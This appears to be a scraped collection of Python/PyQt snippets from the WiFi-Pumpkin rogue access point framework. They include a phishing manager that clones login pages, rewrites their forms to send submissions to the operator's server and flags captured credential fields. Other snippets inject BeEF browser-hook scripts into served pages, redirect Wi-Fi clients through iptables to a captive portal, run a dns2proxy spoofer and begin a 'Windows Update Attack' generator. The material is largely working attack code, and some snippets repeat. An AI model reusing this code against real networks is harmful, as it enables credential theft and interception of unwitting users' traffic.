def start_server(self):
        if len(str(self.txt_redirect.text())) == 0:
            return QtGui.QMessageBox.warning(self, 'localhost',
                                             'Ip Address not found.')
        if self.check_server.isChecked():
            if len(popen('which php').read().split('\n')[0]) == 0:
                return QtGui.QMessageBox.warning(
                    self, 'Requirement Software',
                    'php-5 is not installed \n\ntry: install sudo apt-get install php5'
                )
        if self.check_clone.isChecked():
            if len(self.cloneLineEdit.text()) == 0:
                return QtGui.QMessageBox.warning(self, 'Clone',
                                                 'input clone empty')
            site = str(self.cloneLineEdit.text())
            if not str(self.cloneLineEdit.text()).startswith('http://'):
                site = 'http://' + str(self.cloneLineEdit.text())
            if self.checkRequests(site):
                self.ServerHTTPLoad = ServerThreadHTTP(
                    str(self.txt_redirect.text()),
                    self.BoxPort.value(),
                    redirect=str(self.cloneLineEdit.text()),
                    directory=C.TEMPLATE_CLONE,
                    session=self.session)
                self.ThreadTemplates['Server'].append(self.ServerHTTPLoad)
                self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal)
                self.btn_start_template.setEnabled(False)
                self.btn_stop_template.setEnabled(True)
                self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone')
                self.ServerHTTPLoad.start()
                self.ServerHTTPLoad.sleep(5)
                a = urlopen('http://{}:{}'.format(
                    str(self.txt_redirect.text()), self.BoxPort.value()))
                if a.getcode() == 200:
                    self.StatusServer(True)
                    self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')

        elif self.check_server.isChecked():
            self.DirectoryPhishing(Path=str(self.EditDirectory.text()))
            self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')

        elif self.check_custom.isChecked():
            self.html = BeautifulSoup(str(self.txt_html.toPlainText()), 'lxml')
            self.CheckHookInjection(self.html, C.TEMPLATE_PH)
            self.proc_Web_server = ProcessThread(
                {
                    'python': [
                        '-m', 'SimpleHTTPServer', '{}'.format(
                            self.BoxPort.value())
                    ]
                }, C.TEMP_CUSTOM)
            self.proc_Web_server._ProcssOutput.connect(
                self.get_output_webserver)
            self.proc_Web_server.start()
            self.ThreadTemplates['Server'].append(self.proc_Web_server)
            self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')
            self.btn_start_template.setEnabled(False)
            self.btn_stop_template.setEnabled(True)
            self.StatusServer(True)
    def threadServer(self, directory, ip):
        global threadloading
        #self.threadHTTP.request.connect(self.logPhising)
        if self.rb_windows.isChecked():
            self.path_server = C.TEMP_Win
        elif self.rb_java.isChecked():
            self.path_server = C.TEMP_Java

        self.proc_Web_server = ProcessThread(
            {'python': ['-m', 'SimpleHTTPServer', '80']}, self.path_server)
        self.proc_Web_server._ProcssOutput.connect(self.logPhising)
        threadloading['server'].append(self.proc_Web_server)
        self.proc_Web_server.start()
        self.status.showMessage("::Started >> [HTTP::" + ip + " ::Port 80]")
Beispiel #3
0
    def boot(self):

        # self.reactor = ThreadCaptivePortalHTTPServer('0.0.0.0',80,plugin_activated,self.parent.currentSessionID)
        # self.reactor.requestCredentails.connect(self.LogOutput)
        # self.reactor.requestLogin.connect(self.allowAccessLogin)
        # self.reactor.setObjectName(self.Name)

        self.reactor = ProcessThread(
            {
                'python': [
                    "server.py", '-t',
                    self.getPluginActivated().TemplatePath, '-r',
                    self.parent.SessionConfig.DHCP.conf['router'], '-s',
                    self.getPluginActivated().StaticPath
                ]
            }, "plugins/captivePortal/")
        self.reactor._ProcssOutput.connect(self.LogOutput)
        self.reactor.setObjectName(self.Name)

        # settings iptables for add support captive portal
        IFACE = self.parent.SessionConfig.Wireless.WLANCard.currentText()
        IP_ADDRESS = self.parent.SessionConfig.DHCP.conf['router']
        PORT = 80

        print('[*] Settings for captive portal:')
        print(" -> Allow FORWARD UDP DNS")
        self.search[self.Name + "_forward"] = str(
            'iptables -A FORWARD -i {iface} -p tcp --dport 53 -j ACCEPT'.
            format(iface=IFACE))
        print(" -> Allow traffic to captive portal")
        self.search[self.Name + "_allow"] = str(
            'iptables -A FORWARD -i {iface} -p tcp --dport {port} -d {ip} -j ACCEPT'
            .format(iface=IFACE, port=PORT, ip=IP_ADDRESS))
        print(" -> Block all other traffic in access point")
        self.search[self.Name + "_block"] = str(
            'iptables -A FORWARD -i {iface} -j DROP '.format(iface=IFACE))
        print(" -> Redirecting HTTP traffic to captive portal")
        self.search[self.Name + "redirect"] = str(
            'iptables -t nat -A PREROUTING -i {iface} -p tcp --dport 80 -j DNAT --to-destination {ip}:{port}'
            .format(iface=IFACE, ip=IP_ADDRESS, port=PORT))

        self.SetRules(self.Name + "_forward")
        self.SetRules(self.Name + "_allow")
        self.SetRules(self.Name + "_block")
        self.SetRules(self.Name + "redirect")
Beispiel #4
0
class DNS2ProxyServer(DNSBase):
    ID = "DNS2Proxy"
    Name = "DNS2Proxy Server"
    ExecutableFile = "plugins/external/dns2proxy/dns2proxy.py"

    def __init__(self, parent):
        super(DNS2ProxyServer, self).__init__(parent)

    @property
    def commandargs(self):
        cmd = []
        cmd.insert(0, self.ExecutableFile)
        cmd.extend([
            '-i',
            str(self.parent.SessionConfig.Wireless.WLANCard.currentText()),
            '-k', self.parent.currentSessionID
        ])
        return cmd

    def boot(self):
        self.reactor = ProcessThread({'python': self.commandargs})
        #self.reactor._ProcssOutput.connect(self.parent.get_dns2proxy_output)
        self.reactor._ProcssOutput.connect(self.LogOutput)
        self.reactor.setObjectName(self.Name)  # use dns2proxy as DNS server
    def start_server(self):
        if len(str(self.txt_redirect.text())) == 0:
            return QtGui.QMessageBox.warning(self,'localhost','Ip Address not found.')
        if self.check_server.isChecked():
            if len(popen('which php').read().split('\n')[0]) == 0:
                return QtGui.QMessageBox.warning(self,'Requirement Software',
                'php-5 is not installed \n\ntry: install sudo apt-get install php5')
        if self.check_clone.isChecked():
            if len(self.cloneLineEdit.text()) == 0:
                return QtGui.QMessageBox.warning(self,'Clone','input clone empty')
            site = str(self.cloneLineEdit.text())
            if not str(self.cloneLineEdit.text()).startswith('http://'):
                site = 'http://' + str(self.cloneLineEdit.text())
            if self.checkRequests(site):
                self.ServerHTTPLoad = ServerThreadHTTP(str(self.txt_redirect.text()),
                self.BoxPort.value(),redirect=str(self.cloneLineEdit.text()),
                directory=C.TEMPLATE_CLONE,session=self.session)
                self.ThreadTemplates['Server'].append(self.ServerHTTPLoad)
                self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal)
                self.btn_start_template.setEnabled(False)
                self.btn_stop_template.setEnabled(True)
                self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone')
                self.ServerHTTPLoad.start()
                self.ServerHTTPLoad.sleep(5)
                a = urlopen('http://{}:{}'.format(str(self.txt_redirect.text()),self.BoxPort.value()))
                if a.getcode() == 200:
                    self.StatusServer(True)
                    self.emit(QtCore.SIGNAL('Activated( QString )'),'started')

        elif self.check_server.isChecked():
            self.DirectoryPhishing(Path=str(self.EditDirectory.text()))
            self.emit(QtCore.SIGNAL('Activated( QString )'),'started')

        elif self.check_custom.isChecked():
            self.html = BeautifulSoup(str(self.txt_html.toPlainText()),'lxml')
            self.CheckHookInjection(self.html,C.TEMPLATE_PH)
            self.proc_Web_server  = ProcessThread({'python':['-m',
            'SimpleHTTPServer','{}'.format(self.BoxPort.value())]},
            C.TEMP_CUSTOM)
            self.proc_Web_server._ProcssOutput.connect(self.get_output_webserver)
            self.proc_Web_server.start()
            self.ThreadTemplates['Server'].append(self.proc_Web_server)
            self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')
            self.btn_start_template.setEnabled(False)
            self.btn_stop_template.setEnabled(True)
            self.StatusServer(True)
class frm_PhishingManager(QtGui.QWidget):
    def __init__(self, parent = None):
        super(frm_PhishingManager, self).__init__(parent)
        self.label = QtGui.QLabel()
        self.Main  = QtGui.QVBoxLayout()
        self.config = frm_Settings()
        self.session = str()
        self.setWindowTitle('Phishing Manager')
        self.ThreadTemplates = {'Server':[]}
        self.setGeometry(0, 0, 630, 100)
        self.loadtheme(self.config.get_theme_qss())
        self.center()
        self.UI()

    def loadtheme(self,theme):
        sshFile=('core/%s.qss'%(theme))
        with open(sshFile,"r") as fh:
            self.setStyleSheet(fh.read())

    def center(self):
        frameGm = self.frameGeometry()
        centerPoint = QtGui.QDesktopWidget().availableGeometry().center()
        frameGm.moveCenter(centerPoint)
        self.move(frameGm.topLeft())

    def StatusServer(self,bool):
        if bool:
            self.statusLabel.setText("[ON]")
            self.statusLabel.setStyleSheet("QLabel {  color : green; }")
        else:
            self.statusLabel.setText("[OFF]")
            self.statusLabel.setStyleSheet("QLabel {  color : red; }")

    def UI(self):
        self.statusBar   = QtGui.QStatusBar()
        self.statusLabel = QtGui.QLabel('')
        self.statusBar.addWidget(QtGui.QLabel('Status HTTP Server::'))
        self.StatusServer(False)
        self.statusBar.addWidget(self.statusLabel)
        # left page
        self.frmHtml     = QtGui.QFormLayout()
        self.frmOutput   = QtGui.QFormLayout()

        # right page
        self.frmSettings = QtGui.QFormLayout()
        self.frmCheckBox = QtGui.QFormLayout()
        self.frmClone    = QtGui.QFormLayout()
        self.frmButtons  = QtGui.QFormLayout()
        self.frmright    = QtGui.QFormLayout()
        self.frmleft     = QtGui.QFormLayout()

        #group checkbox
        self.check_custom   = QtGui.QRadioButton('index.html  ')
        self.check_server   = QtGui.QRadioButton('Set Directory')
        self.check_beef     = QtGui.QCheckBox('Enable Beef')
        self.check_clone    = QtGui.QRadioButton('Website clone')
        self.check_custom.setChecked(True)

        # group clone site
        self.cloneLineEdit  = QtGui.QLineEdit(self)
        self.cloneLineEdit.setText('example.com/login')
        self.cloneLineEdit.setEnabled(False)

        # group settings
        self.EditBeef       = QtGui.QLineEdit(self)
        self.EditDirectory  = QtGui.QLineEdit('/var/www')
        self.txt_redirect   = QtGui.QLineEdit(self)
        self.BoxPort        = QtGui.QSpinBox(self)
        self.EditBeef.setEnabled(False)
        self.EditDirectory.setEnabled(False)
        self.BoxPort.setMaximum(65535)
        self.BoxPort.setValue(80)

        # group left
        self.Group_Html  = QtGui.QGroupBox(self)
        self.Group_List   = QtGui.QGroupBox(self)
        self.Group_Html.setTitle('index.html:')
        self.Group_List.setTitle('Requests:')

        self.txt_html       = QtGui.QTextEdit(self)
        self.ListOutputWid  = QtGui.QListWidget(self)
        self.txt_html.setFixedWidth(450)
        self.frmHtml.addRow(self.txt_html)
        self.frmOutput.addRow(self.ListOutputWid)

        # button stop,start
        self.btn_start_template = QtGui.QPushButton('Start Server')
        self.btn_stop_template  = QtGui.QPushButton('Stop Server')
        self.btn_start_template.setIcon(QtGui.QIcon('icons/start.png'))
        self.btn_stop_template.setIcon(QtGui.QIcon('icons/Stop.png'))
        self.btn_stop_template.setEnabled(False)
        self.btn_start_template.setFixedWidth(110)
        self.btn_stop_template.setFixedWidth(110)
        self.btn_start_template.clicked.connect(self.start_server)

        # group create
        self.GroupSettings  = QtGui.QGroupBox(self)
        self.GroupCheckBox  = QtGui.QGroupBox(self)
        self.GroupCloneSite = QtGui.QGroupBox(self)
        self.GroupSettings.setTitle('settings:')
        self.GroupCheckBox.setTitle('Options:')
        self.GroupCloneSite.setTitle('clone:')


        # left layout
        self.txt_html.setPlainText('<html>\n<head>\n<title>WiFi-Pumpkin Phishing </title>'
        '\n</head>\n<body>\n'
        '\n<h3 align=\'center\'>WiFi-Pumpkin Framework</h3>\n'
        '\n<p align=\'center\'>this is demo Attack Redirect.</p>\n'
        '\n</body>\n</html>')

        # connect checkbox
        self.check_beef.clicked.connect(self.check_options)
        self.check_custom.clicked.connect(self.check_options)
        self.check_server.clicked.connect(self.check_options)
        self.check_clone.clicked.connect(self.check_options)

        # connect buttons
        self.btn_stop_template.clicked.connect(self.killThread)

        # checkboxs
        self.frmCheckBox.addRow(self.check_custom,self.check_server)
        self.frmCheckBox.addRow(self.check_beef,self.check_clone)
        self.frmCheckBox.addRow(self.GroupSettings)

        # settings
        self.frmSettings.addRow('IP Address:',self.txt_redirect)
        self.frmSettings.addRow('Port:',self.BoxPort)
        self.frmSettings.addRow("Beef Hook URL:",self.EditBeef)
        self.frmSettings.addRow("SetEnv PATH  :",self.EditDirectory)

        # buttons
        self.frmButtons.addRow(self.btn_start_template,self.btn_stop_template)

        # clone
        self.frmClone.addRow(self.cloneLineEdit)

        # page right
        self.GroupCheckBox.setLayout(self.frmCheckBox)
        self.GroupSettings.setLayout(self.frmSettings)
        self.GroupCloneSite.setLayout(self.frmClone)
        self.frmright.addRow(self.GroupCheckBox)
        self.frmright.addRow(self.GroupCloneSite)
        self.frmright.addRow(self.GroupSettings)
        self.frmright.addRow(self.frmButtons)

        # page left
        self.Group_Html.setLayout(self.frmHtml)
        self.Group_List.setLayout(self.frmOutput)
        self.frmleft.addRow(self.Group_Html)
        self.frmleft.addRow(self.Group_List)

        layout = QtGui.QHBoxLayout()
        layout.addLayout(self.frmleft)
        layout.addLayout(self.frmright)

        self.Main.addLayout(layout)
        self.Main.addWidget(self.statusBar)
        self.setLayout(self.Main)

    @QtCore.pyqtSlot(QtCore.QModelIndex)
    def check_options(self,index):
        if self.check_custom.isChecked():
            self.txt_html.setEnabled(True)
        else:
            self.txt_html.setEnabled(False)
        if self.check_clone.isChecked():
            self.cloneLineEdit.setEnabled(True)
        else:
            self.cloneLineEdit.setEnabled(False)
        if self.check_beef.isChecked():
            self.EditBeef.setEnabled(True)
        else:
            self.EditBeef.setEnabled(False)
        if self.check_server.isChecked():
            self.EditDirectory.setEnabled(True)
        else:
            self.EditDirectory.setEnabled(False)

    def start_server(self):
        if len(str(self.txt_redirect.text())) == 0:
            return QtGui.QMessageBox.warning(self,'localhost','Ip Address not found.')
        if self.check_server.isChecked():
            if len(popen('which php').read().split('\n')[0]) == 0:
                return QtGui.QMessageBox.warning(self,'Requirement Software',
                'php-5 is not installed \n\ntry: install sudo apt-get install php5')
        if self.check_clone.isChecked():
            if len(self.cloneLineEdit.text()) == 0:
                return QtGui.QMessageBox.warning(self,'Clone','input clone empty')
            site = str(self.cloneLineEdit.text())
            if not str(self.cloneLineEdit.text()).startswith('http://'):
                site = 'http://' + str(self.cloneLineEdit.text())
            if self.checkRequests(site):
                self.ServerHTTPLoad = ServerThreadHTTP(str(self.txt_redirect.text()),
                self.BoxPort.value(),redirect=str(self.cloneLineEdit.text()),
                directory=C.TEMPLATE_CLONE,session=self.session)
                self.ThreadTemplates['Server'].append(self.ServerHTTPLoad)
                self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal)
                self.btn_start_template.setEnabled(False)
                self.btn_stop_template.setEnabled(True)
                self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone')
                self.ServerHTTPLoad.start()
                self.ServerHTTPLoad.sleep(5)
                a = urlopen('http://{}:{}'.format(str(self.txt_redirect.text()),self.BoxPort.value()))
                if a.getcode() == 200:
                    self.StatusServer(True)
                    self.emit(QtCore.SIGNAL('Activated( QString )'),'started')

        elif self.check_server.isChecked():
            self.DirectoryPhishing(Path=str(self.EditDirectory.text()))
            self.emit(QtCore.SIGNAL('Activated( QString )'),'started')

        elif self.check_custom.isChecked():
            self.html = BeautifulSoup(str(self.txt_html.toPlainText()),'lxml')
            self.CheckHookInjection(self.html,C.TEMPLATE_PH)
            self.proc_Web_server  = ProcessThread({'python':['-m',
            'SimpleHTTPServer','{}'.format(self.BoxPort.value())]},
            C.TEMP_CUSTOM)
            self.proc_Web_server._ProcssOutput.connect(self.get_output_webserver)
            self.proc_Web_server.start()
            self.ThreadTemplates['Server'].append(self.proc_Web_server)
            self.emit(QtCore.SIGNAL('Activated( QString )'), 'started')
            self.btn_start_template.setEnabled(False)
            self.btn_stop_template.setEnabled(True)
            self.StatusServer(True)

            # old thread start web server
            # self.ServerHTTPLoad = ServerThreadHTTP(str(self.txt_redirect.text()),
            # self.BoxPort.value(),redirect=str(self.cloneLineEdit.text()),
            # directory=C.TEMPLATE_PH,session=self.session)
            # self.ThreadTemplates['Server'].append(self.ServerHTTPLoad)
            # self.ServerHTTPLoad.requestHTTP.connect(self.ResponseSignal)
            # self.btn_start_template.setEnabled(False)
            # self.btn_stop_template.setEnabled(True)
            # self.ServerHTTPLoad.setObjectName('THread::: HTTP Clone')
            # self.ServerHTTPLoad.start()
            # self.StatusServer(True)
            # self.emit(QtCore.SIGNAL('Activated( QString )'),'started')

    def get_output_webserver(self,data):
        print data

    def DirectoryPhishing(self,Path=None):
        popen('service apache2 stop')
        self.Tphishing = ThreadPhishingServer(['php', '-S','{}:{}'.format(
        str(self.txt_redirect.text()),str(self.BoxPort.value())),'-t',Path])
        self.Tphishing.send.connect(self.ResponseSignal)
        self.Tphishing.setObjectName('Server PHP::'+Path)
        self.ThreadTemplates['Server'].append(self.Tphishing)
        self.Tphishing.start()
        while True:
            if self.Tphishing.process != None:
                break
        self.btn_start_template.setEnabled(False)
        self.btn_stop_template.setEnabled(True)
        self.StatusServer(True)

    def ResponseSignal(self,resp):
        form_ = ['pass','login','user','email']
        try:
            newItem = QtGui.QListWidgetItem(self.ListOutputWid)
            newItem.setText(resp)
            for tag in form_:
                if tag in str(resp).lower():
                    newItem.setTextColor(QtCore.Qt.green)
                    break
            self.ListOutputWid.addItem(newItem)
            self.ListOutputWid.scrollToBottom()
        except Exception:
            pass

    def checkRequests(self,siteName):
        try:
            html = urlopen(siteName).read()
            request = BeautifulSoup(html,'lxml')
            try:
                for tag in request.find_all('form'):
                    tag['method'],tag['action'] ='post',''
            except Exception: pass
            self.CheckHookInjection(request,C.TEMPLATE_CLONE)
        except URLError:
            QtGui.QMessageBox.warning(self,'Request HTTP','It seems like the server is down.')
            return False
        return True

    def cloneWebsite(self):
        if len(self.cloneLineEdit.text()) == 0:
            return QtGui.QMessageBox.warning(self,'Clone website','input clone empty')
        site = str(self.cloneLineEdit.text())
        if not str(self.cloneLineEdit.text()).startswith('http://'):
            site = 'http://' + str(self.cloneLineEdit.text())
        if self.checkRequests(site):
            self.btn_Clone_page.setText('Cloned')
            return self.btn_Clone_page.setEnabled(False)

    def killThread(self):
        if hasattr(self,'proc_Web_server'): self.proc_Web_server.stop()
        if self.ThreadTemplates['Server'] == []: return
        for thread in self.ThreadTemplates['Server']: thread.stop()
        self.ListOutputWid.clear()
        self.btn_start_template.setEnabled(True)
        self.btn_stop_template.setEnabled(False)
        self.StatusServer(False)

    def CheckHookInjection(self,rasp,Save):
        if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0:
            self.hook = '<script type="text/javascript" src="%s"></script>'%str(self.EditBeef.text())
            html_final = Beef_Hook_url(rasp,self.hook)
            if html_final != None:rasp = html_final
            else: QtGui.QMessageBox.information(self,'Error Hook Inject Page',
                'Hook Url not injected,not found tag "<body>"')
        with open(Save,'w') as f:
            f.write(str(rasp))
            f.close()
        return rasp
Beispiel #7
0
 def boot(self):
     print(self.command, self.commandargs)
     self.reactor = ProcessThread({self.command: self.commandargs})
     self.reactor._ProcssOutput.connect(self.LogOutput)
     self.reactor.setObjectName(self.Name)  # use dns2proxy as DNS server
Beispiel #8
0
class DHCPServers(QtGui.QWidget, ComponentBlueprint):
    Name = "Generic"
    ID = "Generic"
    haspref = False
    ExecutableFile = ""

    def __init__(self, parent=0):
        super(DHCPServers, self).__init__()
        self.parent = parent
        self.FSettings = SuperSettings.getInstance()
        self.EditGateway = QtGui.QLineEdit(self)
        self.EditGateway.setFixedWidth(120)
        self.EditGateway.setHidden(True)  # disable Gateway
        self.controlui = QtGui.QRadioButton(self.Name)
        self.controlui.toggled.connect(
            partial(self.controlcheck, self.controlui))
        self.controlui.setChecked(
            self.FSettings.Settings.get_setting('dhcpserver',
                                                self.ID,
                                                format=bool))
        self.controlui.setObjectName(self.ID)
        self.DHCPConf = self.Settings.conf

    def controlcheck(self, object):
        self.FSettings.Settings.set_setting('dhcpserver', self.ID,
                                            self.controlui.isChecked())

    def prereq(self):
        dh, gateway = self.DHCPConf['router'], str(self.EditGateway.text())
        # dh, gateway = self.PumpSettingsTAB.getPumpkinSettings()['router'],str(self.EditGateway.text())
        if dh[:len(dh) - len(dh.split('.').pop(
        ))] == gateway[:len(gateway) - len(gateway.split('.').pop())]:
            return QtGui.QMessageBox.warning(
                self, 'DHCP Server settings',
                'The DHCP server check if range ip class is same.'
                'it works, but not share internet connection in some case.\n'
                'for fix this, You need change on tab (settings -> Class Ranges)'
                'now you have choose the Class range different of your network.'
            )

    def Stop(self):
        self.shutdown()
        self.reactor.stop()

    def Start(self):
        self.prereq()
        self.Initialize()
        self.boot()

    @property
    def Settings(self):
        return DHCPSettings.instances[0]

    @property
    def commandargs(self):
        pass

    def boot(self):
        print(self.command, self.commandargs)
        self.reactor = ProcessThread({self.command: self.commandargs})
        self.reactor._ProcssOutput.connect(self.LogOutput)
        self.reactor.setObjectName(self.Name)  # use dns2proxy as DNS server

    @property
    def HomeDisplay(self):
        return DHCPClient.instances[0]

    @property
    def command(self):
        cmdpath = os.popen('which {}'.format(
            self.ExecutableFile)).read().split('\n')[0]
        if cmdpath:
            return cmdpath
        else:
            return None

    def get_mac_vendor(self, mac):
        ''' discovery mac vendor by mac address '''
        try:
            d_vendor = EUI(mac)
            d_vendor = d_vendor.oui.registration().org
        except:
            d_vendor = 'unknown mac'
        return d_vendor

    def add_data_into_QTableWidget(self, client):
        self.HomeDisplay.ClientTable.addNextWidget(client)

    def add_DHCP_Requests_clients(self, mac, user_info):
        self.parent.StationMonitor.addRequests(mac, user_info, True)

    def get_DHCP_Discover_clients(self, message):
        '''get infor client connected with AP '''
        self.APclients = {}
        if message[
                'mac_addr'] not in self.HomeDisplay.ClientTable.APclients.keys(
                ):
            self.APclients[message['mac_addr']] = \
            {'IP': message['ip_addr'],
            'device': message['host_name'],
             'MAC': message['mac_addr'],
             'Vendors' : self.get_mac_vendor(message['mac_addr'])}

            self.add_DHCP_Requests_clients(message['mac_addr'],
                                           self.APclients[message['mac_addr']])
            self.add_data_into_QTableWidget(self.APclients)
            self.parent.connectedCount.setText(
                str(len(self.HomeDisplay.ClientTable.APclients.keys())))

    def get_DHCP_Requests_clients(self, data):
        ''' filter: data info sended DHCPD request '''
        self.APclients = {}
        if len(data) == 8:
            device = sub(r'[)|(]', r'', data[5])
            if len(device) == 0: device = 'unknown'
            if Refactor.check_is_mac(data[4]):
                if data[4] not in self.HomeDisplay.APclients.keys():
                    self.APclients[data[4]] = {
                        'IP': data[2],
                        'device': device,
                        'MAC': data[4],
                        'Vendors': self.get_mac_vendor(data[4])
                    }
                    self.add_DHCP_Requests_clients(data[4],
                                                   self.APclients[data[4]])
        elif len(data) == 9:
            device = sub(r'[)|(]', r'', data[6])
            if len(device) == 0: device = 'unknown'
            if Refactor.check_is_mac(data[5]):
                if data[5] not in self.HomeDisplay.ClientTable.APclients.keys(
                ):
                    self.APclients[data[5]] = {
                        'IP': data[2],
                        'device': device,
                        'MAC': data[5],
                        'Vendors': self.get_mac_vendor(data[5])
                    }
                    self.add_DHCP_Requests_clients(data[5],
                                                   self.APclients[data[5]])
        elif len(data) == 7:
            if Refactor.check_is_mac(data[4]):
                if data[4] not in self.HomeDisplay.ClientTable.APclients.keys(
                ):
                    leases = IscDhcpLeases(C.DHCPLEASES_PATH)
                    hostname = None
                    try:
                        for item in leases.get():
                            if item.ethernet == data[4]:
                                hostname = item.hostname
                        if hostname == None:
                            item = leases.get_current()
                            hostname = item[data[4]]
                    except:
                        hostname = 'unknown'
                    if hostname == None or len(hostname) == 0:
                        hostname = 'unknown'
                    self.APclients[data[4]] = {
                        'IP': data[2],
                        'device': hostname,
                        'MAC': data[4],
                        'Vendors': self.get_mac_vendor(data[4])
                    }
                    self.add_DHCP_Requests_clients(data[4],
                                                   self.APclients[data[4]])
        if self.APclients != {}:
            self.add_data_into_QTableWidget(self.APclients)
            self.parent.connectedCount.setText(
                str(len(self.HomeDisplay.ClientTable.APclients.keys())))
Beispiel #9
0
class MitmMode(Widget):
    Name = "Generic"
    ID = "Generic"
    Author = "Wahyudin Aziz"
    Description = "Generic Placeholder for Attack Scenario"
    Icon = "icons/plugins-new.png"
    LogFile = C.LOG_ALL
    ModSettings = False
    ModType = "proxy" # proxy or server
    Hidden = True
    _cmd_array = []
    plugins = []
    sendError = QtCore.pyqtSignal(str)
    sendSingal_disable = QtCore.pyqtSignal(object)

    def __init__(self,parent=None):
        super(MitmMode, self).__init__(parent)
        self.parent = parent
        self.FSettings = SuperSettings.getInstance()
        self.reactor = None
        self.server = None
        setup_logger(self.Name, self.LogFile, self.parent.currentSessionID)
        self.logger = getLogger(self.Name)
        self.popup = QtGui.QWidget()
        self.tabinterface = QtGui.QListWidgetItem()
        self.tabinterface.setText(self.Name)
        self.tabinterface.setSizeHint(QtCore.QSize(30, 30))
        self.tabinterface.setIcon(QtGui.QIcon(self.Icon))
        self.ConfigWindow = OptionDialog(self)
        self.ConfigWindow.setWindowTitle("{} Settings".format(self.Name))

        self.controlui = QtGui.QCheckBox(self.Name)
        self.controlui.setObjectName(self.Description)
        self.controlui.setChecked(self.FSettings.Settings.get_setting('mitmhandler', self.Name, format=bool))
        self.controlui.toggled.connect(self.CheckOptions)

        self.setEnabled(self.FSettings.Settings.get_setting('mitmhandler', self.Name, format=bool))
        self.btnChangeSettings = QtGui.QPushButton("None")
        self.btnChangeSettings.setEnabled(False)

        if self.ModSettings:
            self.btnChangeSettings.setEnabled(self.controlui.isChecked())
            self.btnChangeSettings.setText("Change")
            self.btnChangeSettings.setIcon(QtGui.QIcon('icons/config.png'))
            self.btnChangeSettings.clicked.connect(self.Configure)

        self.dockwidget = MitmDock(None,title=self.Name)
        self.dockwidget.addDock.emit(self.controlui.isChecked())
        self.mainLayout = QtGui.QFormLayout()
        self.scrollwidget = QtGui.QWidget()
        self.scrollwidget.setLayout(self.mainLayout)
        self.scroll = QtGui.QScrollArea()
        self.scroll.setWidgetResizable(True)
        self.scroll.setWidget(self.scrollwidget)
        self.layout = QtGui.QHBoxLayout()
        self.layout.addWidget(self.scroll)
    @property
    def CMD_ARRAY(self):
        return self._cmd_array

    @property
    def Wireless(self):
        return AccessPointSettings.instances[0]
    @property
    def hasSettings(self):
        return self.ModSettings
    def CheckOptions(self):
        self.FSettings.Settings.set_setting('mitmhandler', self.Name, self.controlui.isChecked())
        self.dockwidget.addDock.emit(self.controlui.isChecked())
        if self.ModSettings:
            self.btnChangeSettings.setEnabled(self.controlui.isChecked())
        if self.controlui.isChecked() == True:
            self.setEnabled(True)
        else:
            self.setEnabled(False)
        self.Initialize()
    def Initialize(self):
        self.SetRules()
    def SetRules(self):
        pass
    def ClearRules(self):
        pass
    def Configure(self):
        self.ConfigWindow.show()
    def boot(self):
        if self.CMD_ARRAY:
            self.reactor= ProcessThread({'python': self.CMD_ARRAY})
            self.reactor._ProcssOutput.connect(self.LogOutput)
            self.reactor.setObjectName(self.Name)
    def shutdown(self):
        if self.reactor is not None:
            self.reactor.stop()
            if hasattr(self.reactor, 'wait'):
                if not self.reactor.wait(msecs=500):
                    self.reactor.terminate()
    def LogOutput(self,data):
        if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool):
            try:
                data = str(data).split(' : ')[1]
                for line in data.split('\n'):
                    if len(line) > 2 and not self.parent.currentSessionID in line:
                        self.dockwidget.writeModeData(line)
                        self.logger.info(line)
            except IndexError:
                return None
Beispiel #10
0
 def boot(self):
     if self.CMD_ARRAY:
         self.reactor= ProcessThread({'python': self.CMD_ARRAY})
         self.reactor._ProcssOutput.connect(self.LogOutput)
         self.reactor.setObjectName(self.Name)
class frm_update_attack(PickleModule):
    def __init__(self, parent=None):
        super(frm_update_attack, self).__init__(parent)
        self.setWindowTitle('Windows Update Attack Generator ')
        self.setWindowIcon(QtGui.QIcon('icons/icon.ico'))
        self.Main = QtGui.QVBoxLayout()
        self.path_file = None
        self.GUI()

    def closeEvent(self, event):
        reply = QtGui.QMessageBox.question(
            self, 'About Exit', "Are you sure that you want to quit?",
            QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No)
        if reply == QtGui.QMessageBox.Yes:
            event.accept()
            global threadloading
            for i in threadloading['server']:
                i.stop()
            self.removefiles()
            return
        event.ignore()

    def GUI(self):
        self.form = QtGui.QFormLayout()
        self.formfinal = QtGui.QFormLayout()
        self.grid1 = QtGui.QGridLayout()
        self.path = QtGui.QLineEdit(self)
        self.logBox = QtGui.QListWidget(self)
        self.status = QtGui.QStatusBar()
        self.status.setFixedHeight(15)
        self.path.setFixedHeight(28)
        self.path.setFixedWidth(300)
        #combobox
        self.cb_interface = QtGui.QComboBox(self)
        self.refresh_interface(self.cb_interface)

        #group box
        self.layoutPage = QtGui.QFormLayout()
        self.GroupPages = QtGui.QGroupBox(self)
        self.GroupPages.setTitle('Phishing Page:')
        self.GroupPages.setLayout(self.layoutPage)

        self.layoutAdpter = QtGui.QFormLayout()
        self.GroupAdpter = QtGui.QGroupBox(self)
        self.GroupAdpter.setTitle('Network Adapter:')
        self.GroupAdpter.setLayout(self.layoutAdpter)

        self.layoutLogBox = QtGui.QFormLayout()
        self.GroupLogger = QtGui.QGroupBox(self)
        self.GroupLogger.setTitle('Log::Requests:')
        self.GroupLogger.setLayout(self.layoutLogBox)

        # buttons
        self.btn_open = QtGui.QPushButton("...")
        self.btn_stop = QtGui.QPushButton("Stop Server")
        self.btn_reload = QtGui.QPushButton("Refresh")
        self.btn_start_server = QtGui.QPushButton("Start Server")
        # size
        self.btn_open.setMaximumWidth(90)
        self.btn_stop.setFixedHeight(50)
        self.btn_start_server.setFixedHeight(50)
        self.btn_stop.setEnabled(False)
        #icons
        self.btn_open.setIcon(QtGui.QIcon("icons/open.png"))
        self.btn_stop.setIcon(QtGui.QIcon("icons/Stop.png"))
        self.btn_reload.setIcon(QtGui.QIcon("icons/refresh.png"))
        self.btn_start_server.setIcon(QtGui.QIcon("icons/start.png"))

